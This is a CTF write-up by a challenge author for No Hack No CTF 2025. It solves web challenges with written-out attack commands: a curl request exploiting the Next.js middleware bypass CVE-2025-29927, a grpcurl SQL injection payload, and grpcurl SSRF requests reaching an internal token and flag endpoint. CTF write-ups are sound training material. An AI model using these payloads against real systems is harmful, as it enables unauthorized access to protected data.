Table of Contents
Hi I am Frank and this’s my Official Writeup
The source code for all challenges of me
https://github.com/Frank-Kam/NHNC-2025_Chal
Welcome (Welcome)Link to heading
DescriptionLink to heading
##### Welcome to No Hack No CTF 2025. Good luck and have fun !</br>
`Hover your mouse over the image !`
Just move the mouse and place it on the image to get the flag. NHNC{Welcome_Flag_lol}
Next Song is 春日影 (Web)Link to heading
Source CodeLink to heading
DescriptionLink to heading
</br>
NextJS Vulnerability at /admin
`Author: Frank`Visiting /admin will reveal a redirect, then go to Google and search for NextJS Vulnerability payload; you should see many payloads for CVE-2025-29927.
Understanding CVE-2025-29927: The Next.js Middleware Authorization Bypass Vulnerability
So, just add the following to the HTTP HEADER:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middlewareThen use the payload:
curl -X GET -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" https://???.com/adminThen get the flag
NHNC{ANon_iS_cUtE_RIGhT?}
Catch The Goose (Web)Link to heading
Source CodeLink to heading
DescriptionLink to heading
</br>
👀 secret_flag or user:admin
`Author: Frank`Public FileLink to heading
server.pyFrom the third line of the public file, it can be seen that there is gRPC, and on the line 12 , there is an SQL query string without filtering before or after, suggesting that gRPC is used for SQL injection.
If you directly test with grpcurl now, it will definitely report an error (because there is no .proto file to define the gRPC connection method) , so we read the gRPC official manual to find the syntax for the .proto file.
Then, by examining lines 11 to 21 of the source code, we saw that GetUser returns a UserReply, and the surrounding lines show how username is handled, so we created user.proto accordingly.
syntax = "proto3";
service UserService { rpc GetUser (UserRequest) returns (UserReply);}
message UserRequest { string username = 1;}
message UserReply { string data = 1;}Finally, based on the challenge description and the SQL query string on line 12, we discovered that in addition to user:admin, there is also a key called secret_flag.
Therefore, we constructed the payload accordingly.
grpcurl -plaintext -proto user.proto -d '{"username": "'\'' OR key = '\''secret_flag"}' ???.com:14514 UserService/GetUserThen get the flag
{ "data": "NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}"}Let’s Cook Some Delicious Goose! (Web)Link to heading
Source CodeLink to heading
DescriptionLink to heading
#### The Goose Is Run Awayyyyy!!!</br>Analyze the packets</br>
`Author:Frank` </br>*Ps : The File < 150 MB*`[https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing](https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing)`Public FileLink to heading
Happy_Log.pcapngfetch.protoflag_server.pyWe noticed that the public files include a .pcapng packet capture file and a .proto file used for gRPC communication.
We started by analyzing the packet capture file using Wireshark.
Use the filter at the top of Wireshark to filter for gRPC traffic.
grpcThen, we can see packets like the following:
:method: POST:scheme: http:path: /fetch.FetchService/FetchURL:authority: ???.com:6666content-type: application/grpcuser-agent: grpcurl/v1.9.3 grpc-go/1.61.0te: trailersgrpc-accept-encoding: gzip
:status: 200content-type: application/grpcgrpc-accept-encoding: identity, deflate, gzip
grpc-status: 0grpc-message:We can clearly see a gRPC packet sent from the user to the target machine at ???.com:6666.
Based on fetch.proto and flag_server.py, we can tell this is an SSRF test. In flag_server.py, it looks like you first need to GET /token and then use the retrieved token to POST to /POST.
Finallyyyyy, let’s construct the payload.
Get token
grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/token\",\"method\":\"GET\",\"headers\":{}}" ???.com:6666 fetch.FetchService/FetchURLPost to /flag
grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/flag\",\"method\":\"POST\",\"headers\":{\"Content-Type\":\"application/x-www-form-urlencoded\"},\"body\":\"token=66663333777nejwncc\"}" ???.com:6666 fetch.FetchService/FetchURLThen get the flag
NHNC{YuMMyeeeE_GOOOd_ChAL_rIGHT}